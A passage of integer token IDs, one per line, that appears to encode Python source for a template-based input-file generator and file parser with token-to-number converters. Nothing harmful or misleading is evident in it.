4706,
22108,
1426,
297,
934,
29889,
13,
13,
4706,
910,
740,
881,
367,
4502,
304,
337,
29889,
1491,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1426,
584,
851,
13,
9651,
1426,
304,
4635,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1347,
13,
9651,
716,
726,
565,
1857,
4423,
338,
5191,
4423,
1683,
278,
1881,
1426,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
3784,
29918,
5479,
4619,
29871,
29896,
13,
13,
4706,
565,
1583,
3032,
3784,
29918,
5479,
1275,
1583,
3032,
6506,
29918,
5479,
29901,
13,
9651,
565,
338,
8758,
29898,
1311,
3032,
1482,
726,
29892,
5785,
1125,
13,
18884,
736,
903,
657,
4830,
29898,
1311,
3032,
1482,
726,
29897,
1273,
1583,
3032,
1482,
726,
13,
9651,
1683,
29901,
13,
18884,
736,
851,
29898,
1311,
3032,
1482,
726,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
1426,
29889,
2972,
580,
13,
13,
1678,
822,
5191,
29918,
2378,
29898,
1311,
29892,
1426,
1125,
13,
4706,
9995,
13,
4706,
22108,
1409,
310,
1426,
1819,
297,
934,
29889,
13,
13,
4706,
910,
740,
881,
367,
4502,
304,
337,
29889,
1491,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1426,
584,
851,
13,
9651,
1426,
304,
4635,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1347,
13,
9651,
716,
726,
565,
1857,
4423,
338,
5191,
4423,
1683,
278,
1881,
1426,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
3784,
29918,
5479,
4619,
29871,
29896,
13,
4706,
1095,
353,
7431,
29898,
1311,
3032,
1482,
726,
29897,
13,
13,
4706,
565,
1583,
3032,
3784,
29918,
5479,
6736,
1583,
3032,
2962,
29918,
5479,
322,
320,
13,
965,
1583,
3032,
3784,
29918,
5479,
5277,
1583,
3032,
355,
29918,
5479,
322,
320,
13,
965,
1583,
3032,
11808,
529,
1095,
29901,
13,
9651,
565,
338,
8758,
29898,
1311,
3032,
1482,
726,
29961,
1311,
3032,
11808,
1402,
5785,
1125,
13,
18884,
659,
353,
1583,
3032,
1482,
726,
29961,
1311,
3032,
11808,
29962,
13,
18884,
716,
791,
353,
903,
657,
4830,
29898,
791,
29897,
1273,
659,
13,
9651,
1683,
29901,
13,
18884,
716,
791,
353,
851,
29898,
1311,
3032,
1482,
726,
29961,
1311,
3032,
11808,
2314,
13,
9651,
1583,
3032,
11808,
4619,
29871,
29896,
13,
9651,
736,
716,
791,
13,
4706,
1683,
29901,
13,
9651,
736,
1426,
29889,
2972,
580,
13,
13,
13,
1990,
903,
1762,
7798,
29898,
6066,
18545,
1125,
13,
1678,
9995,
13,
1678,
1281,
13549,
363,
10772,
29925,
1503,
292,
393,
338,
1304,
304,
2507,
263,
5993,
964,
385,
938,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
1400,
12914,
29898,
1311,
29892,
297,
1807,
29892,
1180,
29892,
5993,
1761,
1125,
13,
4706,
9995,
13,
4706,
14806,
5993,
964,
385,
6043,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
297,
1807,
584,
851,
13,
9651,
278,
1881,
1347,
13,
4706,
1180,
584,
938,
13,
9651,
278,
4423,
310,
278,
9686,
1347,
13,
4706,
5993,
1761,
584,
1051,
13,
9651,
1051,
310,
19228,
18897,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
938,
13,
9651,
6043,
995,
363,
5993,
29889,
13,
4706,
9995,
13,
4706,
736,
938,
29898,
6979,
1761,
29961,
29900,
2314,
13,
13,
13,
1990,
903,
1762,
11031,
29898,
6066,
18545,
1125,
13,
1678,
9995,
13,
1678,
1281,
13549,
363,
10772,
29925,
1503,
292,
393,
338,
1304,
304,
2507,
263,
5993,
964,
263,
5785,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
1400,
12914,
29898,
1311,
29892,
297,
1807,
29892,
1180,
29892,
5993,
1761,
1125,
13,
4706,
9995,
13,
4706,
14806,
5993,
964,
263,
5785,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
297,
1807,
584,
851,
13,
9651,
278,
1881,
1347,
13,
4706,
1180,
584,
938,
13,
9651,
278,
4423,
310,
278,
9686,
1347,
13,
4706,
5993,
1761,
584,
1051,
13,
9651,
1051,
310,
19228,
18897,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
5785,
13,
9651,
5785,
995,
363,
5993,
29889,
13,
4706,
9995,
13,
4706,
736,
5785,
29898,
6979,
1761,
29961,
29900,
1822,
6506,
877,
29928,
742,
525,
29923,
8785,
13,
13,
13,
1990,
903,
1762,
29940,
273,
29898,
6066,
18545,
1125,
13,
1678,
9995,
13,
1678,
1281,
13549,
363,
10772,
29925,
1503,
292,
393,
338,
1304,
304,
2507,
263,
5993,
964,
5132,
23432,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
1400,
12914,
29898,
1311,
29892,
297,
1807,
29892,
1180,
29892,
5993,
1761,
1125,
13,
4706,
9995,
13,
4706,
14806,
5993,
964,
5132,
23432,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
297,
1807,
584,
851,
13,
9651,
278,
1881,
1347,
13,
4706,
1180,
584,
938,
13,
9651,
278,
4423,
310,
278,
9686,
1347,
13,
4706,
5993,
1761,
584,
1051,
13,
9651,
1051,
310,
19228,
18897,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
5785,
13,
9651,
278,
5785,
995,
363,
18780,
29889,
13,
4706,
9995,
13,
4706,
736,
5785,
877,
13707,
1495,
13,
13,
13,
1990,
903,
1762,
25433,
29898,
6066,
18545,
1125,
13,
1678,
9995,
13,
1678,
1281,
13549,
363,
10772,
29925,
1503,
292,
393,
338,
1304,
304,
2507,
263,
5993,
964,
5132,
3041,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
1400,
12914,
29898,
1311,
29892,
297,
1807,
29892,
1180,
29892,
5993,
1761,
1125,
13,
4706,
9995,
13,
4706,
14806,
5993,
964,
5132,
3041,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
297,
1807,
584,
851,
13,
9651,
278,
1881,
1347,
13,
4706,
1180,
584,
938,
13,
9651,
278,
4423,
310,
278,
9686,
1347,
13,
4706,
5993,
1761,
584,
1051,
13,
9651,
1051,
310,
19228,
18897,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
5785,
13,
9651,
278,
5785,
995,
363,
27971,
29889,
13,
4706,
9995,
13,
4706,
736,
5785,
877,
7192,
1495,
13,
13,
13,
1990,
10567,
2283,
21575,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
22310,
537,
304,
5706,
385,
1881,
934,
515,
263,
4472,
29889,
13,
13,
1678,
3323,
303,
5008,
310,
1819,
338,
6969,
29889,
3630,
338,
5982,
411,
263,
2560,
3450,
29889,
13,
13,
1678,
6212,
5026,
13,
1678,
448,
1378,
29899,
13,
1678,
903,
6886,
29918,
9507,
584,
851,
470,
6213,
13,
4706,
278,
1024,
310,
278,
4472,
934,
29889,
13,
1678,
903,
4905,
29918,
9507,
584,
851,
470,
6213,
13,
4706,
278,
1024,
310,
278,
1962,
934,
29889,
13,
1678,
903,
6144,
19657,
584,
938,
13,
4706,
28552,
29889,
13,
1678,
903,
1727,
584,
938,
13,
4706,
4943,
4603,
29889,
13,
1678,
903,
1272,
584,
1051,
310,
1347,
13,
4706,
278,
8118,
310,
278,
934,
29892,
491,
1196,
13,
1678,
903,
3784,
29918,
798,
584,
938,
13,
4706,
278,
1857,
1948,
310,
278,
934,
13,
1678,
903,
14588,
4395,
584,
6120,
13,
4706,
27717,
393,
2602,
338,
6198,
304,
263,
2982,
3502,
4423,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
9995,
13,
4706,
25455,
8393,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
6886,
29918,
9507,
353,
6213,
13,
4706,
1583,
3032,
4905,
29918,
9507,
353,
6213,
13,
13,
4706,
1583,
3032,
6144,
19657,
353,
376,
376,
13,
4706,
1583,
3032,
1727,
353,
337,
29889,
12198,
877,
22896,
320,
29876,
10062,
1495,
13,
13,
4706,
1583,
3032,
1272,
353,
5159,
13,
4706,
1583,
3032,
3784,
29918,
798,
353,
29871,
29900,
13,
4706,
1583,
3032,
14588,
4395,
353,
7700,
13,
13,
1678,
822,
731,
29918,
6886,
29918,
1445,
29898,
1311,
29892,
10422,
1125,
13,
4706,
9995,
13,
4706,
3789,
278,
1024,
310,
278,
4472,
934,
304,
367,
1304,
29889,
13,
13,
4706,
450,
4472,
934,
338,
884,
1303,
964,
3370,
746,
445,
1158,
338,
2000,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
10422,
584,
851,
13,
9651,
4408,
310,
278,
4472,
934,
304,
367,
1304,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
6886,
29918,
9507,
353,
10422,
13,
13,
4706,
4472,
1445,
353,
1722,
29898,
9507,
29892,
525,
29878,
1495,
13,
4706,
1583,
3032,
1272,
353,
4472,
1445,
29889,
949,
9012,
580,
13,
4706,
4472,
1445,
29889,
5358,
580,
13,
13,
1678,
822,
731,
29918,
13525,
29918,
1445,
29898,
1311,
29892,
10422,
1125,
13,
4706,
9995,
13,
4706,
3789,
278,
1024,
310,
278,
934,
393,
674,
367,
5759,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
10422,
584,
851,
13,
9651,
4408,
310,
278,
1881,
934,
304,
367,
5759,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
4905,
29918,
9507,
353,
10422,
13,
13,
1678,
822,
731,
29918,
6144,
13083,
414,
29898,
1311,
29892,
28552,
1125,
13,
4706,
9995,
13,
4706,
3789,
278,
628,
13083,
414,
393,
526,
1304,
304,
12439,
1746,
24371,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
28552,
584,
851,
13,
9651,
319,
1347,
6943,
4890,
304,
367,
1304,
408,
628,
13083,
414,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
6144,
19657,
353,
28552,
13,
4706,
1583,
3032,
1727,
353,
337,
29889,
12198,
877,
22896,
29915,
718,
28552,
718,
11297,
29876,
10062,
1495,
13,
13,
1678,
822,
2791,
29918,
25367,
29898,
1311,
29892,
17360,
29892,
27170,
29922,
29896,
1125,
13,
4706,
9995,
13,
4706,
4485,
278,
4423,
310,
263,
2982,
3502,
29889,
13,
13,
4706,
910,
16869,
366,
8453,
848,
491,
6198,
2602,
29889,
3940,
393,
263,
6375,
13,
4706,
2740,
16410,
472,
278,
2030,
17360,
4423,
29889,
960,
366,
864,
304,
10715,
278,
13,
4706,
2740,
363,
278,
17360,
472,
278,
934,
6763,
29892,
769,
1246,
4954,
12071,
29918,
25367,
2555,
29952,
13,
4706,
1434,
4954,
3502,
29918,
25367,
29952,
1412,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
17360,
584,
851,
13,
9651,
450,
1426,
366,
864,
304,
2740,
363,
29889,
13,
13,
4706,
27170,
584,
938,
29892,
13136,
13,
9651,
10987,
302,
386,
2777,
310,
1426,
29936,
2322,
338,
29871,
29896,
313,
4102,
467,
4803,
448,
29896,
304,
13,
9651,
1284,
1833,
27170,
29889,
830,
3901,
29645,
2337,
1369,
472,
278,
1095,
13,
9651,
310,
278,
934,
694,
4383,
278,
2106,
310,
738,
3517,
17360,
29889,
13,
4706,
9995,
13,
4706,
565,
451,
338,
8758,
29898,
15693,
26841,
29892,
938,
1125,
13,
9651,
12020,
7865,
2392,
703,
1576,
995,
363,
27170,
1818,
367,
385,
6043,
1159,
13,
13,
4706,
2777,
353,
29871,
29900,
13,
4706,
565,
27170,
1405,
29871,
29900,
29901,
13,
9651,
2302,
353,
29871,
29900,
13,
9651,
4236,
29918,
9012,
353,
7431,
29898,
1311,
3032,
1272,
29897,
13,
9651,
363,
2380,
297,
3464,
29898,
1311,
3032,
3784,
29918,
798,
29892,
4236,
29918,
9012,
1125,
13,
18884,
1196,
353,
1583,
3032,
1272,
29961,
2248,
29962,
13,
13,
18884,
396,
960,
591,
526,
2791,
292,
263,
716,
17360,
515,
385,
5923,
17360,
29892,
322,
13,
18884,
396,
278,
17360,
338,
7145,
29899,
1220,
29892,
769,
591,
1603,
2740,
278,
1196,
29892,
541,
13,
18884,
396,
871,
1156,
278,
17360,
29889,
13,
18884,
565,
2302,
1275,
29871,
29900,
322,
1583,
3032,
14588,
4395,
29901,
13,
462,
1678,
1196,
353,
1196,
29889,
5451,
29898,
25367,
9601,
29899,
29896,
29962,
13,
13,
18884,
565,
1196,
29889,
2886,
29898,
25367,
29897,
1405,
448,
29896,
29901,
13,
13,
462,
1678,
2777,
4619,
29871,
29896,
13,
462,
1678,
565,
2777,
1275,
27170,
29901,
13,
462,
4706,
1583,
3032,
3784,
29918,
798,
4619,
2302,
13,
462,
4706,
1583,
3032,
14588,
4395,
353,
5852,
13,
462,
4706,
736,
13,
13,
18884,
2302,
4619,
29871,
29896,
13,
13,
4706,
25342,
27170,
529,
29871,
29900,
29901,
13,
9651,
4236,
29918,
9012,
353,
7431,
29898,
1311,
3032,
1272,
29897,
448,
29871,
29896,
13,
9651,
2302,
353,
4236,
29918,
9012,
13,
9651,
363,
2380,
297,
3464,
29898,
3317,
29918,
9012,
29892,
448,
29896,
29892,
448,
29896,
1125,
13,
18884,
1196,
353,
1583,
3032,
1272,
29961,
2248,
29962,
13,
13,
18884,
396,
960,
591,
526,
2791,
292,
263,
716,
17360,
515,
385,
5923,
17360,
29892,
322,
13,
18884,
396,
278,
17360,
338,
7145,
29899,
1220,
29892,
769,
591,
1603,
2740,
278,
1196,
29892,
541,
13,
18884,
396,
871,
1434,
278,
17360,
29889,
13,
18884,
565,
2302,
1275,
4236,
29918,
9012,
322,
1583,
3032,
14588,
4395,
29901,
13,
462,
1678,
1196,
353,
1196,
29889,
5451,
29898,
25367,
9601,
29900,
29962,
13,
13,
18884,
565,
1196,
29889,
2886,
29898,
25367,
29897,
1405,
448,
29896,
29901,
13,
462,
1678,
2777,
4619,
448,
29896,
13,
462,
1678,
565,
2777,
1275,
27170,
29901,
13,
462,
4706,
1583,
3032,
3784,
29918,
798,
353,
2302,
13,
462,
4706,
1583,
3032,
14588,
4395,
353,
5852,
13,
462,
4706,
736,
13,
13,
18884,
2302,
22361,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
12020,
7865,
2392,
703,
29900,
338,
451,
2854,
363,
385,
17360,
27170,
23157,
13,
13,
4706,
12020,
24875,
2392,
703,
23323,
451,
1284,
4766,
1273,
29879,
297,
4472,
934,
1273,
29879,
29908,
1273,
13,
462,
965,
313,
25367,
29892,
1583,
3032,
6886,
29918,
9507,
876,
13,
13,
1678,
822,
10092,
29918,
25367,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
2538,
300,
17360,
304,
278,
6763,
310,
278,
934,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
3784,
29918,
798,
353,
29871,
29900,
13,
4706,
1583,
3032,
14588,
4395,
353,
7700,
13,
13,
1678,
822,
6782,
29918,
1707,
29898,
1311,
29892,
995,
29892,
1948,
29892,
1746,
1125,
13,
4706,
9995,
13,
4706,
10726,
263,
2323,
2286,
297,
278,
4472,
6198,
304,
278,
1857,
17360,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
995,
584,
5785,
29892,
938,
29892,
6120,
29892,
851,
13,
9651,
1570,
995,
304,
731,
472,
278,
4423,
29889,
13,
4706,
1948,
584,
938,
13,
9651,
9681,
310,
3454,
9210,
515,
17360,
1196,
313,
29900,
338,
17360,
1196,
467,
13,
9651,
910,
508,
367,
8178,
29889,
13,
4706,
1746,
584,
938,
13,
9651,
8449,
1734,
297,
1196,
304,
5191,
29892,
408,
27291,
491,
28552,
29898,
29879,
467,
13,
4706,
9995,
13,
4706,
432,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
13,
4706,
1196,
353,
1583,
3032,
1272,
29961,
29926,
29962,
13,
13,
4706,
1014,
353,
903,
4035,
10739,
580,
13,
4706,
1014,
29889,
842,
29898,
1767,
29892,
1746,
29897,
13,
4706,
25899,
353,
337,
29889,
1491,
29898,
1311,
3032,
1727,
29892,
1014,
29889,
6506,
29892,
1196,
29897,
13,
13,
4706,
1583,
3032,
1272,
29961,
29926,
29962,
353,
25899,
13,
13,
1678,
822,
6782,
29918,
2378,
29898,
1311,
29892,
995,
29892,
1948,
29918,
2962,
29892,
1746,
29918,
2962,
29892,
1746,
29918,
355,
29892,
13,
462,
539,
1948,
29918,
355,
29922,
8516,
29892,
16345,
543,
29892,
376,
1125,
13,
4706,
9995,
13,
4706,
10726,
278,
1819,
310,
385,
1409,
297,
278,
4472,
6198,
304,
278,
1857,
17360,
29889,
13,
13,
4706,
910,
881,
6892,
367,
1304,
363,
697,
29899,
12531,
470,
3889,
883,
7049,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
995,
584,
5785,
29892,
938,
29892,
6120,
29892,
851,
13,
9651,
4398,
310,
1819,
304,
4635,
29889,
13,
4706,
1948,
29918,
2962,
584,
938,
13,
9651,
23748,
1948,
363,
23800,
278,
1409,
29889,
910,
338,
6198,
13,
9651,
304,
278,
17360,
29892,
322,
508,
367,
8178,
29889,
13,
4706,
1746,
29918,
2962,
584,
938,
13,
9651,
23748,
1746,
297,
278,
2183,
1948,
29918,
2962,
408,
27291,
491,
13,
9651,
28552,
29898,
29879,
467,
13,
4706,
1746,
29918,
355,
584,
938,
13,
9651,
450,
2186,
1746,
278,
1409,
3913,
297,
1948,
29918,
355,
29889,
13,
9651,
1334,
817,
445,
304,
4377,
714,
565,
278,
4472,
338,
2086,
2319,
470,
2919,
29889,
13,
4706,
1948,
29918,
355,
584,
938,
29892,
13136,
13,
9651,
4803,
565,
278,
1409,
11463,
567,
304,
4612,
5684,
3454,
29889,
13,
4706,
16345,
584,
938,
29892,
13136,
13,
9651,
922,
17954,
304,
671,
565,
591,
748,
8724,
278,
4472,
29889,
13,
4706,
9995,
13,
4706,
396,
3439,
572,
2164,
1881,
363,
2323,
29899,
1220,
7049,
13,
4706,
565,
1948,
29918,
355,
338,
6213,
29901,
13,
9651,
1948,
29918,
355,
353,
1948,
29918,
2962,
13,
13,
4706,
1014,
353,
903,
4035,
10739,
580,
13,
13,
4706,
363,
1948,
297,
3464,
29898,
798,
29918,
2962,
29892,
1948,
29918,
355,
718,
29871,
29896,
1125,
13,
9651,
432,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
13,
9651,
1196,
353,
1583,
3032,
1272,
29961,
29926,
29962,
13,
13,
9651,
565,
1948,
1275,
1948,
29918,
355,
29901,
13,
18884,
285,
29918,
355,
353,
1746,
29918,
355,
13,
9651,
1683,
29901,
13,
18884,
285,
29918,
355,
353,
29871,
29929,
29929,
29929,
29929,
29929,
13,
13,
9651,
1014,
29889,
842,
29918,
2378,
29898,
1767,
29892,
1746,
29918,
2962,
29892,
285,
29918,
355,
29897,
13,
9651,
1746,
29918,
2962,
353,
29871,
29900,
13,
13,
9651,
25899,
353,
337,
29889,
1491,
29898,
1311,
3032,
1727,
29892,
1014,
29889,
6506,
29918,
2378,
29892,
1196,
29897,
13,
9651,
1583,
3032,
1272,
29961,
29926,
29962,
353,
25899,
13,
13,
4706,
396,
18512,
385,
1409,
338,
2086,
2919,
363,
278,
1342,
297,
278,
4472,
13,
4706,
396,
910,
338,
11527,
491,
4417,
901,
4235,
472,
278,
1095,
13,
4706,
565,
1014,
3032,
11808,
529,
7431,
29898,
1767,
1125,
13,
9651,
363,
659,
297,
995,
29961,
1491,
3032,
11808,
29901,
5387,
13,
18884,
25899,
353,
25899,
29889,
29878,
17010,
580,
718,
16345,
718,
851,
29898,
791,
29897,
13,
9651,
1583,
3032,
1272,
29961,
29926,
29962,
353,
25899,
13,
13,
4706,
396,
18512,
385,
1409,
338,
2086,
2319,
363,
278,
4472,
13,
4706,
396,
910,
338,
11527,
491,
11077,
4235,
13,
4706,
25342,
1014,
3032,
11808,
1405,
7431,
29898,
1767,
1125,
13,
9651,
396,
14402,
448,
11479,
714,
920,
304,
4386,
445,
29889,
13,
9651,
396,
13001,
635,
29892,
591,
29915,
29881,
3349,
278,
4805,
1746,
2058,
8948,
414,
13,
9651,
12020,
7865,
2392,
703,
2588,
338,
2086,
2319,
363,
278,
4472,
23157,
13,
13,
1678,
822,
6782,
29918,
29906,
29928,
2378,
29898,
1311,
29892,
995,
29892,
1948,
29918,
2962,
29892,
1948,
29918,
355,
29892,
1746,
29918,
2962,
29892,
1746,
29918,
355,
1125,
13,
4706,
9995,
13,
4706,
10726,
278,
1819,
310,
263,
29871,
29906,
29928,
1409,
297,
278,
4472,
6198,
304,
278,
1857,
17360,
29889,
13,
13,
4706,
910,
1158,
338,
4266,
1891,
363,
29871,
29906,
29928,
7049,
29892,
988,
1269,
1948,
310,
278,
1409,
338,
13,
4706,
373,
967,
1914,
1196,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
995,
584,
29871,
299,
2378,
13,
9651,
4398,
310,
1819,
304,
4635,
29889,
13,
4706,
1948,
29918,
2962,
584,
938,
13,
9651,
23748,
1948,
363,
23800,
278,
1409,
29889,
910,
338,
6198,
13,
9651,
304,
278,
17360,
29892,
322,
508,
367,
8178,
29889,
13,
4706,
1948,
29918,
355,
584,
938,
13,
9651,
9550,
1948,
363,
278,
1409,
29892,
6198,
304,
278,
17360,
29889,
13,
4706,
1746,
29918,
2962,
584,
938,
13,
9651,
23748,
1746,
297,
278,
2183,
1948,
29918,
2962,
408,
27291,
491,
13,
9651,
28552,
29898,
29879,
467,
13,
4706,
1746,
29918,
355,
584,
938,
13,
9651,
450,
2186,
1746,
278,
1409,
3913,
297,
1948,
29918,
355,
29889,
13,
9651,
1334,
817,
445,
304,
4377,
714,
565,
278,
4472,
338,
2086,
2319,
470,
2919,
29889,
13,
4706,
9995,
13,
4706,
1014,
353,
903,
4035,
10739,
580,
13,
13,
4706,
474,
353,
29871,
29900,
13,
13,
4706,
363,
1948,
297,
3464,
29898,
798,
29918,
2962,
29892,
1948,
29918,
355,
718,
29871,
29896,
1125,
13,
9651,
432,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
13,
9651,
1196,
353,
1583,
3032,
1272,
29961,
29926,
29962,
13,
13,
9651,
1014,
29889,
842,
29918,
2378,
29898,
1767,
29961,
29875,
29892,
584,
1402,
1746,
29918,
2962,
29892,
1746,
29918,
355,
29897,
13,
13,
9651,
25899,
353,
337,
29889,
1491,
29898,
1311,
3032,
1727,
29892,
1014,
29889,
6506,
29918,
2378,
29892,
1196,
29897,
13,
9651,
1583,
3032,
1272,
29961,
29926,
29962,
353,
25899,
13,
13,
9651,
1014,
3032,
3784,
29918,
5479,
353,
29871,
29900,
13,
9651,
1014,
3032,
11808,
353,
29871,
29900,
13,
9651,
474,
4619,
29871,
29896,
13,
13,
4706,
396,
14402,
448,
3940,
29892,
591,
5279,
508,
29915,
29873,
4386,
2675,
8724,
278,
1095,
310,
13,
4706,
396,
4706,
278,
4472,
1196,
13,
13,
1678,
822,
2821,
1220,
29898,
1311,
29892,
1948,
1125,
13,
4706,
9995,
13,
4706,
22108,
278,
8118,
310,
263,
1948,
411,
278,
25899,
2931,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1948,
584,
938,
13,
9651,
11438,
1353,
304,
2821,
29892,
6198,
304,
1857,
17360,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
1272,
29961,
1311,
3032,
3784,
29918,
798,
718,
1948,
29962,
353,
6634,
29876,
29908,
13,
13,
1678,
822,
5706,
29898,
1311,
29892,
736,
29918,
1272,
29922,
8824,
1125,
13,
4706,
9995,
13,
4706,
4803,
278,
4472,
934,
304,
5706,
278,
1881,
934,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
736,
29918,
1272,
584,
6120,
13,
9651,
960,
5852,
29892,
5759,
934,
848,
674,
367,
4133,
408,
263,
1347,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1347,
13,
9651,
450,
5759,
934,
848,
565,
736,
29918,
1272,
338,
5852,
470,
1962,
10422,
13,
9651,
756,
451,
1063,
4944,
29892,
1683,
6213,
29889,
13,
4706,
9995,
13,
4706,
565,
1583,
3032,
4905,
29918,
9507,
29901,
13,
9651,
411,
1722,
29898,
1311,
3032,
4905,
29918,
9507,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
18884,
285,
29889,
8231,
24210,
29898,
1311,
3032,
1272,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
29918,
1272,
353,
5852,
13,
13,
4706,
565,
736,
29918,
1272,
29901,
13,
9651,
736,
11297,
29876,
4286,
7122,
29898,
1311,
3032,
1272,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
6213,
13,
13,
13,
1990,
3497,
11726,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
22310,
537,
304,
26694,
322,
1303,
848,
515,
263,
934,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
1095,
29918,
974,
29918,
1220,
29918,
9342,
29918,
3090,
584,
851,
29892,
13136,
13,
4706,
2796,
29899,
974,
29899,
1220,
3440,
2931,
304,
367,
17262,
13,
4706,
313,
29872,
29889,
29887,
1696,
5132,
11286,
297,
29899,
1220,
6589,
411,
12305,
2564,
13,
13,
1678,
2989,
29918,
1220,
29918,
9342,
29918,
3090,
584,
851,
29892,
13136,
13,
4706,
461,
2931,
393,
1804,
11057,
263,
1196,
881,
367,
14993,
2986,
29889,
13,
13,
1678,
6212,
5026,
13,
1678,
448,
1378,
29899,
13,
1678,
903,
9507,
584,
851,
13,
4706,
278,
1024,
310,
278,
934,
29889,
13,
1678,
903,
1272,
584,
1051,
310,
1347,
13,
4706,
278,
8118,
310,
278,
934,
29892,
491,
1196,
13,
1678,
903,
6144,
19657,
584,
851,
13,
4706,
278,
1024,
310,
278,
934,
29889,
13,
1678,
903,
355,
29918,
974,
29918,
1220,
29918,
9342,
29918,
3090,
584,
851,
13,
4706,
1095,
29899,
974,
29899,
1220,
3440,
2931,
304,
367,
17262,
29889,
13,
1678,
903,
8159,
29918,
1220,
29918,
9342,
29918,
3090,
584,
851,
13,
4706,
3440,
2931,
393,
1804,
11057,
263,
1196,
881,
367,
14993,
2986,
29889,
13,
1678,
903,
3784,
29918,
798,
584,
938,
13,
4706,
278,
1857,
1948,
310,
278,
934,
29889,
13,
1678,
903,
14588,
4395,
584,
6120,
13,
4706,
27717,
393,
2602,
338,
6198,
304,
263,
2982,
3502,
4423,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1095,
29918,
974,
29918,
1220,
29918,
9342,
29918,
3090,
29922,
8516,
29892,
2989,
29918,
1220,
29918,
9342,
29918,
3090,
29922,
8516,
1125,
13,
4706,
9995,
13,
4706,
25455,
8393,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
9507,
353,
6213,
13,
4706,
1583,
3032,
1272,
353,
5159,
13,
13,
4706,
1583,
3032,
6144,
19657,
353,
376,
320,
29873,
29908,
13,
4706,
1583,
3032,
355,
29918,
974,
29918,
1220,
29918,
9342,
29918,
3090,
353,
1095,
29918,
974,
29918,
1220,
29918,
9342,
29918,
3090,
13,
4706,
1583,
3032,
8159,
29918,
1220,
29918,
9342,
29918,
3090,
353,
2989,
29918,
1220,
29918,
9342,
29918,
3090,
13,
13,
4706,
1583,
3032,
3784,
29918,
798,
353,
29871,
29900,
13,
4706,
1583,
3032,
14588,
4395,
353,
7700,
13,
13,
4706,
1583,
29889,
842,
29918,
6144,
13083,
414,
29898,
1311,
3032,
6144,
19657,
29897,
13,
13,
1678,
822,
731,
29918,
1445,
29898,
1311,
29892,
10422,
1125,
13,
4706,
9995,
13,
4706,
3789,
278,
1024,
310,
278,
934,
393,
674,
367,
5759,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
10422,
584,
851,
13,
9651,
4408,
310,
278,
1881,
934,
304,
367,
5759,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
9507,
353,
10422,
13,
13,
4706,
1881,
1445,
353,
1722,
29898,
9507,
29892,
525,
29878,
1495,
13,
13,
4706,
565,
451,
1583,
3032,
355,
29918,
974,
29918,
1220,
29918,
9342,
29918,
3090,
322,
451,
1583,
3032,
8159,
29918,
1220,
29918,
9342,
29918,
3090,
29901,
13,
9651,
1583,
3032,
1272,
353,
1881,
1445,
29889,
949,
9012,
580,
13,
4706,
1683,
29901,
13,
9651,
1583,
3032,
1272,
353,
5159,
13,
9651,
363,
1196,
297,
1881,
1445,
29901,
13,
18884,
565,
1196,
29961,
29900,
29962,
1275,
1583,
3032,
8159,
29918,
1220,
29918,
9342,
29918,
3090,
29901,
13,
462,
1678,
6773,
13,
18884,
1583,
3032,
1272,
29889,
4397,
29898,
1220,
29889,
5451,
29898,
1311,
3032,
355,
29918,
974,
29918,
1220,
29918,
9342,
29918,
3090,
9601,
29900,
2314,
